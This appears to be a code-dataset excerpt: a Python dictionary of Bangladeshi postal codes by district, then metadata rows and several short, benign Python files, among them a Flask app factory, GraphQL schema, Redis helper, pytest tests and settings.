'Noakhali Sadar': [('Chaprashir Hat', '3811'),
('Char Jabbar', '3812'),
('Charam Tua', '3809'),
('Din Monir Hat', '3803'),
('Kabirhat', '3807'),
('Khalifar Hat', '3808'),
('Mriddarhat', '3806'),
('Noakhali College', '3801'),
('Noakhali Sadar', '3800'),
('Pak Kishoreganj', '3804'),
('Sonapur', '3802')],
'Senbag': [('Beezbag', '3862'),
('Chatarpaia', '3864'),
('Kallyandi', '3861'),
('Kankirhat', '3863'),
('Senbag', '3860'),
('T.P. Lamua', '3865')]},
'Pabna': {'Banwarinagar': [('Banwarinagar', '6650')],
'Bera': [('Bera', '6680'),
('Kashinathpur', '6682'),
('Nakalia', '6681'),
('Puran Bharenga', '6683')],
'Bhangura': [('Bhangura', '6640')],
'Chatmohar': [('Chatmohar', '6630')],
'Debottar': [('Debottar', '6610')],
'Ishwardi': [('Dhapari', '6621'),
('Ishwardi', '6620'),
('Pakshi', '6622'),
('Rajapur', '6623')],
'Pabna Sadar': [('Hamayetpur', '6602'),
('Kaliko Cotton Mills', '6601'),
('Pabna Sadar', '6600')],
'Sathia': [('Sathia', '6670')],
'Sujanagar': [('Sagarkandi', '6661'), ('Sujanagar', '6660')]},
'Panchagarh': {'Boda': [('Boda', '5010')],
'Chotto Dab': [('Chotto Dab', '5040'),
('Mirjapur', '5041')],
'Dabiganj': [('Dabiganj', '5020')],
'Panchagra Sadar': [('Panchagar Sadar', '5000')],
'Tetulia': [('Tetulia', '5030')]},
'Patuakhali': {'Bauphal': [('Bagabandar', '8621'),
('Bauphal', '8620'),
('Birpasha', '8622'),
('Kalaia', '8624'),
('Kalishari', '8623')],
'Dashmina': [('Dashmina', '8630')],
'Galachipa': [('Galachipa', '8640'),
('Gazipur Bandar', '8641')],
'Khepupara': [('Khepupara', '8650'),
('Mahipur', '8651')],
'Patuakhali Sadar': [('Dumkee', '8602'),
('Moukaran', '8601'),
('Patuakhali Sadar', '8600'),
('Rahimabad', '8603')],
'Subidkhali': [('Subidkhali', '8610')]},
'Pirojpur': {'Banaripara': [('Banaripara', '8530'),
('Chakhar', '8531')],
'Bhandaria': [('Bhandaria', '8550'),
('Dhaoa', '8552'),
('Kanudashkathi', '8551')],
'Mathbaria': [('Betmor Natun Hat', '8565'),
('Gulishakhali', '8563'),
('Halta', '8562'),
('Mathbaria', '8560'),
('Shilarganj', '8566'),
('Tiarkhali', '8564'),
('Tushkhali', '8561')],
'Nazirpur': [('Nazirpur', '8540'),
('Sriramkathi', '8541')],
'Pirojpur Sadar': [('Hularhat', '8501'),
('Parerhat', '8502'),
('Pirojpur Sadar', '8500')],
'Swarupkathi': [('Darus Sunnat', '8521'),
('Jalabari', '8523'),
('Kaurikhara', '8522'),
('Swarupkathi', '8520')],
'kaukhali': [('Jolagati', '8513'),
('Joykul', '8512'),
('Kaukhali', '8510'),
('Keundia', '8511')]},
'Rajbari': {'Baliakandi': [('Baliakandi', '7730'), ('Nalia', '7731')],
'Pangsha': [('Mrigibazar', '7723'),
('Pangsha', '7720'),
('Ramkol', '7721'),
('Ratandia', '7722')],
'Rajbari Sadar': [('Goalanda', '7710'),
('Khankhanapur', '7711'),
('Rajbari Sadar', '7700')]},
'Rajshahi': {'Bagha': [('Arani', '6281'), ('Bagha', '6280')],
'Bhabaniganj': [('Bhabaniganj', '6250'),
('Taharpur', '6251')],
'Charghat': [('Charghat', '6270'), ('Sarda', '6271')],
'Durgapur': [('Durgapur', '6240')],
'Godagari': [('Godagari', '6290'), ('Premtoli', '6291')],
'Khod Mohanpur': [('Khodmohanpur', '6220')],
'Lalitganj': [('Lalitganj', '6210'),
('Rajshahi Sugar Mills', '6211'),
('Shyampur', '6212')],
'Putia': [('Putia', '6260')],
'Rajshahi Sadar': [('Binodpur Bazar', '6206'),
('Ghuramara', '6100'),
('Kazla', '6204'),
('Rajshahi Canttonment', '6202'),
('Rajshahi Court', '6201'),
('Rajshahi Sadar', '6000'),
('Rajshahi University', '6205'),
('Sapura', '6203')],
'Tanor': [('Tanor', '6230')]},
'Rangamati': {'Barakal': [('Barakal', '4570')],
'Bilaichhari': [('Bilaichhari', '4550')],
'Jarachhari': [('Jarachhari', '4560')],
'Kalampati': [('Betbunia', '4511'),
('Kalampati', '4510')],
'Longachh': [('Longachh', '4580')],
'Marishya': [('Marishya', '4590')],
'Naniachhar': [('Nanichhar', '4520')],
'Rajsthali': [('Rajsthali', '4540')],
'Rangamati Sadar': [('Rangamati Sadar', '4500')],
'kaptai': [('Chandraghona', '4531'),
('Kaptai', '4530'),
('Kaptai Nuton Bazar', '4533'),
('Kaptai Project', '4532')]},
'Rangpur': {'Badarganj': [('Badarganj', '5430'), ('Shyampur', '5431')],
'Gangachara': [('Gangachara', '5410')],
'Kaunia': [('Haragachh', '5441'), ('Kaunia', '5440')],
'Mithapukur': [('Mithapukur', '5460')],
'Pirgachha': [('Pirgachha', '5450')],
'Rangpur Sadar': [('Alamnagar', '5402'),
('Mahiganj', '5403'),
('Rangpur Cadet Colleg', '5404'),
('Rangpur Carmiecal Col', '5405'),
('Rangpur Sadar', '5400'),
('Rangpur Upa-Shahar', '5401')],
'Taraganj': [('Taraganj', '5420')]},
'Satkhira': {'Ashashuni': [('Ashashuni', '9460'), ('Baradal', '9461')],
'Debbhata': [('Debbhata', '9430'), ('Gurugram', '9431')],
'Kaliganj UPO': [('Kaliganj UPO', '9440'),
('Nalta Mubaroknagar', '9441'),
('Ratanpur', '9442')],
'Nakipur': [('Buri Goalini', '9453'),
('Gabura', '9454'),
('Habinagar', '9455'),
('Nakipur', '9450'),
('Naobeki', '9452'),
('Noornagar', '9451')],
'Satkhira Sadar': [('Budhhat', '9403'),
('Gunakar kati', '9402'),
('Satkhira Islamia Acc', '9401'),
('Satkhira Sadar', '9400')],
'Taala': [('Patkelghata', '9421'), ('Taala', '9420')],
'kalaroa': [('Chandanpur', '9415'),
('Hamidpur', '9413'),
('Jhaudanga', '9412'),
('kalaroa', '9410'),
('Khordo', '9414'),
('Murarikati', '9411')]},
'Shariatpur': {'Bhedorganj': [('Bhedorganj', '8030')],
'Damudhya': [('Damudhya', '8040')],
'Gosairhat': [('Gosairhat', '8050')],
'Jajira': [('Jajira', '8010')],
'Naria': [('Bhozeshwar', '8021'),
('Gharisar', '8022'),
('Kartikpur', '8024'),
('Naria', '8020'),
('Upshi', '8023')],
'Shariatpur Sadar': [('Angaria', '8001'),
('Chikandi', '8002'),
('Shariatpur Sadar', '8000')]},
'Sherpur': {'Bakshigonj': [('Bakshigonj', '2140')],
'Jhinaigati': [('Jhinaigati', '2120')],
'Nakla': [('Gonopaddi', '2151'), ('Nakla', '2150')],
'Nalitabari': [('Hatibandha', '2111'),
('Nalitabari', '2110')],
'Sherpur Shadar': [('Sherpur Shadar', '2100')],
'Shribardi': [('Shribardi', '2130')]},
'Sirajganj': {'Baiddya Jam Toil': [('Baiddya Jam Toil', '6730')],
'Belkuchi': [('Belkuchi', '6740'),
('Enayetpur', '6751'),
('Rajapur', '6742'),
('Sohagpur', '6741'),
('Sthal', '6752')],
'Dhangora': [('Dhangora', '6720'), ('Malonga', '6721')],
'Kazipur': [('Gandail', '6712'),
('Kazipur', '6710'),
('Shuvgachha', '6711')],
'Shahjadpur': [('Jamirta', '6772'),
('Kaijuri', '6773'),
('Porjana', '6771'),
('Shahjadpur', '6770')],
'Sirajganj Sadar': [('Raipur', '6701'),
('Rashidabad', '6702'),
('Sirajganj Sadar', '6700')],
'Tarash': [('Tarash', '6780')],
'Ullapara': [('Lahiri Mohanpur', '6762'),
('Salap', '6763'),
('Ullapara', '6760'),
('Ullapara R.S', '6761')]},
'Sunamganj': {'Bishamsarpur': [('Bishamsapur', '3010')],
'Chhatak': [('Chhatak', '3080'),
('Chhatak Cement Facto', '3081'),
('Chhatak Paper Mills', '3082'),
('Chourangi Bazar', '3893'),
('Gabindaganj', '3083'),
('Gabindaganj Natun Ba', '3084'),
('Islamabad', '3088'),
('jahidpur', '3087'),
('Khurma', '3085'),
('Moinpur', '3086')],
'Dhirai Chandpur': [('Dhirai Chandpur', '3040'),
('Jagdal', '3041')],
'Duara bazar': [('Duara bazar', '3070')],
'Ghungiar': [('Ghungiar', '3050')],
'Jagnnathpur': [('Atuajan', '3062'),
('Hasan Fatemapur', '3063'),
('Jagnnathpur', '3060'),
('Rasulganj', '3064'),
('Shiramsi', '3065'),
('Syedpur', '3061')],
'Sachna': [('Sachna', '3020')],
'Sunamganj Sadar': [('Pagla', '3001'),
('Patharia', '3002'),
('Sunamganj Sadar', '3000')],
'Tahirpur': [('Tahirpur', '3030')]},
'Sylhet': {'Balaganj': [('Balaganj', '3120'),
('Begumpur', '3125'),
('Brahman Shashon', '3122'),
('Gaharpur', '3128'),
('Goala Bazar', '3124'),
('Karua', '3121'),
('Kathal Khair', '3127'),
('Natun Bazar', '3129'),
('Omarpur', '3126'),
('Tajpur', '3123')],
'Bianibazar': [('Bianibazar', '3170'),
('Churkai', '3175'),
('jaldup', '3171'),
('Kurar bazar', '3173'),
('Mathiura', '3172'),
('Salia bazar', '3174')],
'Bishwanath': [('Bishwanath', '3130'),
('Dashghar', '3131'),
('Deokalas', '3133'),
('Doulathpur', '3132'),
('Singer kanch', '3134')],
'Fenchuganj': [('Fenchuganj', '3116'),
('Fenchuganj SareKarkh', '3117')],
'Goainhat': [('Chiknagul', '3152'),
('Goainhat', '3150'),
('Jaflong', '3151')],
'Gopalganj': [('banigram', '3164'),
('Chandanpur', '3165'),
('Dakkhin Bhadashore', '3162'),
('Dhaka Dakkhin', '3161'),
('Gopalgannj', '3160'),
('Ranaping', '3163')],
'Jaintapur': [('Jainthapur', '3156')],
'Jakiganj': [('Ichhamati', '3191'), ('Jakiganj', '3190')],
'Kanaighat': [('Chatulbazar', '3181'),
('Gachbari', '3183'),
('Kanaighat', '3180'),
('Manikganj', '3182')],
'Kompanyganj': [('Kompanyganj', '3140')],
'Sylhet Sadar': [('Birahimpur', '3106'),
('Jalalabad', '3107'),
('Jalalabad Cantoment', '3104'),
('Kadamtali', '3111'),
('Kamalbazer', '3112'),
('Khadimnagar', '3103'),
('Lalbazar', '3113'),
('Mogla', '3108'),
('Ranga Hajiganj', '3109'),
('Shahajalal Science &', '3114'),
('Silam', '3105'),
('Sylhe Sadar', '3100'),
('Sylhet Biman Bondar', '3102'),
('Sylhet Cadet Col', '3101')]},
'Tangail': {'Basail': [('Basail', '1920')],
'Bhuapur': [('Bhuapur', '1960')],
'Delduar': [('Delduar', '1910'),
('Elasin', '1913'),
('Hinga Nagar', '1914'),
('Jangalia', '1911'),
('Lowhati', '1915'),
('Patharail', '1912')],
'Ghatail': [('D. Pakutia', '1982'),
('Dhalapara', '1983'),
('Ghatial', '1980'),
('Lohani', '1984'),
('Zahidganj', '1981')],
'Gopalpur': [('Gopalpur', '1990'),
('Hemnagar', '1992'),
('Jhowail', '1991')],
'Kalihati': [('Ballabazar', '1973'),
('Elinga', '1974'),
('Kalihati', '1970'),
('Nagarbari', '1977'),
('Nagarbari SO', '1976'),
('Nagbari', '1972'),
('Palisha', '1975'),
('Rajafair', '1971')],
'Kashkaolia': [('Kashkawlia', '1930')],
'Madhupur': [('Dhobari', '1997'), ('Madhupur', '1996')],
'Mirzapur': [('Gorai', '1941'),
('Jarmuki', '1944'),
('M.C. College', '1942'),
('Mirzapur', '1940'),
('Mohera', '1945'),
('Warri paikpara', '1943')],
'Nagarpur': [('Dhuburia', '1937'),
('Nagarpur', '1936'),
('Salimabad', '1938')],
'Sakhipur': [('Kochua', '1951'), ('Sakhipur', '1950')],
'Tangail Sadar': [('Kagmari', '1901'),
('Korotia', '1903'),
('Purabari', '1904'),
('Santosh', '1902'),
('Tangail Sadar', '1900')]},
'Thakurgaon': {'Baliadangi': [('Baliadangi', '5140'),
('Lahiri', '5141')],
'Jibanpur': [('Jibanpur', '5130')],
'Pirganj': [('Pirganj', '5110'), ('Pirganj', '5470')],
'Rani Sankail': [('Nekmarad', '5121'),
('Rani Sankail', '5120')],
'Thakurgaon Sadar': [('Ruhia', '5103'),
('Shibganj', '5102'),
('Thakurgaon Road', '5101'),
('Thakurgaon Sadar', '5100')]}}
| 54.71266 | 76 | 0.306866 | 3,790 | 76,926 | 6.225858 | 0.735884 | 0.000339 | 0.000381 | 0.000932 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.144209 | 0.513584 | 76,926 | 1,405 | 77 | 54.751601 | 0.486397 | 0 | 0 | 0.002141 | 0 | 0 | 0.311611 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.000714 | 0 | 0.000714 | 0.000714 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
db1c1aef520e1bf91162ab50970606d39ab47a6e | 248 | py | Python | server/steem_actions/public.py | olegnatsevsky/donate_now | 987adde1b312dc2709dba62e76d1e0173b2ce921 | [
"MIT"
] | 2 | 2018-04-22T14:03:36.000Z | 2018-11-08T08:54:41.000Z | server/steem_actions/public.py | olegnatsevsky/donate_now | 987adde1b312dc2709dba62e76d1e0173b2ce921 | [
"MIT"
] | null | null | null | server/steem_actions/public.py | olegnatsevsky/donate_now | 987adde1b312dc2709dba62e76d1e0173b2ce921 | [
"MIT"
] | 4 | 2018-04-20T19:17:51.000Z | 2018-11-13T16:16:14.000Z | from steem.account import Account
def get_transfers(user_id):
acc = Account(user_id)
for c in (gg for gg in acc.get_account_history(-1, 1000, filter_by=['transfer'])):
print u'{}: {}->{}'.format(c[u'body'], c[u'author'], c[u'parent_author'])
| 31 | 83 | 0.681452 | 43 | 248 | 3.767442 | 0.604651 | 0.037037 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022936 | 0.120968 | 248 | 7 | 84 | 35.428571 | 0.720183 | 0 | 0 | 0 | 0 | 0 | 0.165992 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.2 | null | null | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
db1c9a59a4fdfffea721feedc00d6132f5d3ab05 | 1,104 | py | Python | biobb_adapters/pycompss/biobb_pmx/pmx/mutate_bst_pc.py | jfennick/biobb_adapters | a37c1c696476c93225e7d3c661b0d4393af9dfe1 | [
"Apache-2.0"
] | null | null | null | biobb_adapters/pycompss/biobb_pmx/pmx/mutate_bst_pc.py | jfennick/biobb_adapters | a37c1c696476c93225e7d3c661b0d4393af9dfe1 | [
"Apache-2.0"
] | 4 | 2019-03-04T15:22:06.000Z | 2021-09-24T14:43:48.000Z | biobb_adapters/pycompss/biobb_pmx/pmx/mutate_bst_pc.py | jfennick/biobb_adapters | a37c1c696476c93225e7d3c661b0d4393af9dfe1 | [
"Apache-2.0"
] | 2 | 2020-09-08T05:26:23.000Z | 2022-03-28T07:09:20.000Z | import traceback
from pycompss.api.task import task
from pycompss.api.constraint import constraint
from pycompss.api.multinode import multinode
from pycompss.api.parameter import FILE_IN, FILE_OUT
from biobb_common.tools import file_utils as fu
from biobb_pmx.pmx import mutate
import os
import sys
# Is constraint decorator needed in this case?
# @constraint(computingUnits=)
@task(input_structure_path=FILE_IN, output_structure_path=FILE_OUT, input_b_structure_path=FILE_OUT, on_failure="IGNORE")
def mutate_bst_pc(input_structure_path, output_structure_path, input_b_structure_path, properties, **kwargs):
try:
mutate.Mutate(input_structure_path=input_structure_path, output_structure_path=output_structure_path, input_b_structure_path=input_b_structure_path, properties=properties, **kwargs).launch()
if not os.path.exists(output_structure_path):
fu.write_failed_output(output_structure_path)
except Exception:
traceback.print_exc()
fu.write_failed_output(output_structure_path)
finally:
sys.stdout.flush()
sys.stderr.flush()
| 42.461538 | 198 | 0.797101 | 154 | 1,104 | 5.38961 | 0.363636 | 0.23494 | 0.160241 | 0.091566 | 0.296386 | 0.296386 | 0.261446 | 0.122892 | 0.122892 | 0 | 0 | 0 | 0.130435 | 1,104 | 25 | 199 | 44.16 | 0.864583 | 0.066123 | 0 | 0.095238 | 0 | 0 | 0.005837 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.047619 | false | 0 | 0.428571 | 0 | 0.47619 | 0.047619 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
db2b46281888be0baac97747adb7c588b323d480 | 476 | py | Python | meeting/meeting/schema.py | zuhaib26/django-meeting | b583498fba84acea0b1d29bff19f623e4c56a014 | [
"MIT"
] | null | null | null | meeting/meeting/schema.py | zuhaib26/django-meeting | b583498fba84acea0b1d29bff19f623e4c56a014 | [
"MIT"
] | null | null | null | meeting/meeting/schema.py | zuhaib26/django-meeting | b583498fba84acea0b1d29bff19f623e4c56a014 | [
"MIT"
] | null | null | null | import graphene
import users.schema
import scheduler.schema
import graphql_jwt
class Query(users.schema.Query, scheduler.schema.Query, graphene.ObjectType):
pass
class Mutation(
users.schema.Mutation,
scheduler.schema.Mutation,
graphene.ObjectType):
token_auth = graphql_jwt.ObtainJSONWebToken.Field()
verify_token = graphql_jwt.Verify.Field()
refresh_token = graphql_jwt.Refresh.Field()
schema = graphene.Schema(query=Query, mutation=Mutation) | 28 | 77 | 0.777311 | 57 | 476 | 6.368421 | 0.315789 | 0.110193 | 0.082645 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.130252 | 476 | 17 | 78 | 28 | 0.876812 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.071429 | 0.285714 | 0 | 0.642857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
db3439b27a152a74549789bbf9ab8c7225a5b239 | 763 | py | Python | shortlinky/__init__.py | fltfathin/shortlinky | def3387d5a827adb29ab2d1239869e4ddbd1e042 | [
"MIT"
] | null | null | null | shortlinky/__init__.py | fltfathin/shortlinky | def3387d5a827adb29ab2d1239869e4ddbd1e042 | [
"MIT"
] | null | null | null | shortlinky/__init__.py | fltfathin/shortlinky | def3387d5a827adb29ab2d1239869e4ddbd1e042 | [
"MIT"
] | null | null | null | import os
from flask import Flask, request, render_template, redirect, g, url_for, make_response
import re
from .routes import mod
import config
# TODO: unify config
def create_app(test_config=None):
# create and configure the app
app = Flask(__name__, instance_relative_config=True)
app.config.from_mapping(SECRET_KEY="dev")
if test_config is None:
# load the instance config, if it exists, when not testing
app.config.from_pyfile("config.py", silent=True)
else:
# load the test config if passed in
app.config.from_mapping(test_config)
# ensure the instance folder exists
try:
os.makedirs(app.instance_path)
except OSError:
pass
app.register_blueprint(mod)
return app
| 25.433333 | 86 | 0.70249 | 108 | 763 | 4.787037 | 0.555556 | 0.077369 | 0.075435 | 0.077369 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.225426 | 763 | 29 | 87 | 26.310345 | 0.874788 | 0.225426 | 0 | 0 | 0 | 0 | 0.020513 | 0 | 0 | 0 | 0 | 0.034483 | 0 | 1 | 0.055556 | false | 0.055556 | 0.277778 | 0 | 0.388889 | 0.055556 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
e1d97042bb50d631fb1fbdd309a4acdf85e11f3e | 1,024 | py | Python | tests/accounts/test_fetch_by_key.py | clayman083/pytest-fixture-maker | 657488f467d2d6e2ab0cb6f7a2d8b14c73c02a4b | [
"MIT"
] | null | null | null | tests/accounts/test_fetch_by_key.py | clayman083/pytest-fixture-maker | 657488f467d2d6e2ab0cb6f7a2d8b14c73c02a4b | [
"MIT"
] | null | null | null | tests/accounts/test_fetch_by_key.py | clayman083/pytest-fixture-maker | 657488f467d2d6e2ab0cb6f7a2d8b14c73c02a4b | [
"MIT"
] | null | null | null | from typing import Type
import pytest
from tests.accounts import Account, AccountNotFound, Storage
@pytest.fixture
def account_key(request) -> int:
"""Test account identifier."""
return request.param
@pytest.fixture
def expected(request) -> Account:
"""Expected test case result."""
return Account(**request.param)
@pytest.mark.integration
def test_success(storage: Storage, account_key: int, expected: Account) -> None:
"""Successful fetch account by key from storage."""
result = storage.accounts.fetch_by_key(account_key)
assert result == expected
@pytest.fixture
def expected_exc(request) -> Type[AccountNotFound]:
"""Expected exception when account not found in storage."""
return AccountNotFound
@pytest.mark.integration
def test_missing(storage: Storage, account_key: int, expected_exc: Type[AccountNotFound]) -> None:
"""Try to fetch missing account by key from storage."""
with pytest.raises(expected_exc):
storage.accounts.fetch_by_key(account_key)
| 26.25641 | 98 | 0.737305 | 127 | 1,024 | 5.834646 | 0.322835 | 0.067476 | 0.064777 | 0.064777 | 0.326586 | 0.188934 | 0.094467 | 0 | 0 | 0 | 0 | 0 | 0.155273 | 1,024 | 38 | 99 | 26.947368 | 0.856647 | 0.196289 | 0 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.05 | 1 | 0.25 | false | 0 | 0.15 | 0 | 0.55 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
e1f69725527fdd0b37c3a4b3f6e017248a6a6dbc | 778 | py | Python | IMFlask/app/models/redis/__init__.py | iml1111/IMFlask | 96af28460365c305e92ca2720fe6b015713c578f | [
"MIT"
] | 2 | 2020-09-07T11:33:41.000Z | 2020-09-08T14:47:40.000Z | IMFlask/app/models/redis/__init__.py | iml1111/IMFlask | 96af28460365c305e92ca2720fe6b015713c578f | [
"MIT"
] | 1 | 2020-09-07T11:29:00.000Z | 2022-03-31T10:01:06.000Z | IMFlask/app/models/redis/__init__.py | iml1111/IMFlask | 96af28460365c305e92ca2720fe6b015713c578f | [
"MIT"
] | 2 | 2020-10-06T18:25:46.000Z | 2021-09-09T16:00:07.000Z | '''
Redis Management Modules and Models
'''
from flask import g, current_app
from redis import Redis
def get_redis_cur(store_g=False):
'''
Open DB Cursor Connection
Params
-------
store_g : if True, store to Flask Global Object g.
'''
redis_cur = Redis(
host=current_app.config['REDIS_HOST'],
port=current_app.config['REDIS_PORT'],
password=current_app.config['REDIS_PW'])
if store_g:
g.redis_cur = redis_cur
return redis_cur
def close_redis_cur():
'''
Close DB Curosr Conneciton
'''
redis_cur = g.pop("redis_cur", None)
if redis_cur:
redis_cur.close()
def redis_init():
'''db-init in redis'''
cur = get_redis_cur()
cur.set("__author__", "IML")
cur.close()
| 18.97561 | 54 | 0.623393 | 107 | 778 | 4.261682 | 0.392523 | 0.210526 | 0.085526 | 0.138158 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.251928 | 778 | 40 | 55 | 19.45 | 0.783505 | 0.22108 | 0 | 0 | 0 | 0 | 0.090744 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.055556 | 0.111111 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
e1fb0aad3aafd8a2185efad0d95c6d833822b477 | 107 | py | Python | weird_behaviours/board.py | n0npax/python-presentation | 1431557e0f2d0f442441addae99edacb4ce50b79 | [
"Beerware"
] | null | null | null | weird_behaviours/board.py | n0npax/python-presentation | 1431557e0f2d0f442441addae99edacb4ce50b79 | [
"Beerware"
] | null | null | null | weird_behaviours/board.py | n0npax/python-presentation | 1431557e0f2d0f442441addae99edacb4ce50b79 | [
"Beerware"
] | null | null | null | from tabulate import tabulate
row = ["o"] * 4
board = [row] * 4
board[1][1] = "x"
print(tabulate(board))
| 13.375 | 29 | 0.616822 | 17 | 107 | 3.882353 | 0.588235 | 0.181818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045977 | 0.186916 | 107 | 7 | 30 | 15.285714 | 0.712644 | 0 | 0 | 0 | 0 | 0 | 0.018692 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0.2 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e1fd13a01d013c222ade032eb04737143983c96c | 295 | py | Python | src/utils/common.py | samruddhijp05/DVC_NLP_Model | 6321d4d6d4aed1acb21325a67ac7c302104333d7 | [
"MIT"
] | null | null | null | src/utils/common.py | samruddhijp05/DVC_NLP_Model | 6321d4d6d4aed1acb21325a67ac7c302104333d7 | [
"MIT"
] | null | null | null | src/utils/common.py | samruddhijp05/DVC_NLP_Model | 6321d4d6d4aed1acb21325a67ac7c302104333d7 | [
"MIT"
] | null | null | null | import os
import yaml
import logging
import time
import pandas as pd
import json
def read_yaml(path_to_yaml: str) -> dict:
with open(path_to_yaml) as yaml_file:
content = yaml.safe_load(yaml_file)
logging.info(f"yaml file: {path_to_yaml} loaded successfully")
return content | 24.583333 | 66 | 0.749153 | 48 | 295 | 4.395833 | 0.541667 | 0.085308 | 0.14218 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.179661 | 295 | 12 | 67 | 24.583333 | 0.871901 | 0 | 0 | 0 | 0 | 0 | 0.152027 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.545455 | 0 | 0.727273 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
c008e6f9ffa83da0e287b72b5e89e8c586f85a3f | 485 | py | Python | api/settings.py | Amsterdam/fixxx-cspp-mini-crm-api | 73af7cff8ca577bc13ce5f47713645b9edd6848a | [
"MIT"
] | 1 | 2021-09-29T12:41:14.000Z | 2021-09-29T12:41:14.000Z | api/settings.py | Amsterdam/fixxx-cspp-mini-crm-api | 73af7cff8ca577bc13ce5f47713645b9edd6848a | [
"MIT"
] | 1 | 2020-09-23T14:03:28.000Z | 2020-09-23T14:03:28.000Z | api/settings.py | Amsterdam/fixxx-cspp-mini-crm-api | 73af7cff8ca577bc13ce5f47713645b9edd6848a | [
"MIT"
] | 1 | 2020-10-22T13:50:45.000Z | 2020-10-22T13:50:45.000Z | import os
from typing import List, Union
import json
from pydantic import AnyHttpUrl, BaseSettings, validator
class Settings(BaseSettings):
DATABASE_URL = os.environ.get('DATABASE_URL', "postgresql://postgres:postgres@localhost/postgres")
USERS = json.loads(os.environ.get('USERS', '{"demo": "test12345"}'))
BACKEND_CORS_ORIGINS_CSV: str = os.environ.get('BACKEND_CORS_ORIGINS_CSV', "http://localhost,http://localhost:4200,http://localhost:3000")
settings = Settings()
| 34.642857 | 142 | 0.754639 | 61 | 485 | 5.868852 | 0.52459 | 0.075419 | 0.100559 | 0.117318 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.029885 | 0.103093 | 485 | 13 | 143 | 37.307692 | 0.793103 | 0 | 0 | 0 | 0 | 0 | 0.352577 | 0.150515 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.444444 | 0 | 0.888889 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
c00af1d6fe02b37f7c3f3e7de1decec0c2e89cfd | 385 | py | Python | tests/integration/cmor/_fixes/cmip5/test_mri_esm1.py | markelg/ESMValCore | b2f7ffc3232f174dd5ebc50ad20b4a02d3517c2c | [
"Apache-2.0"
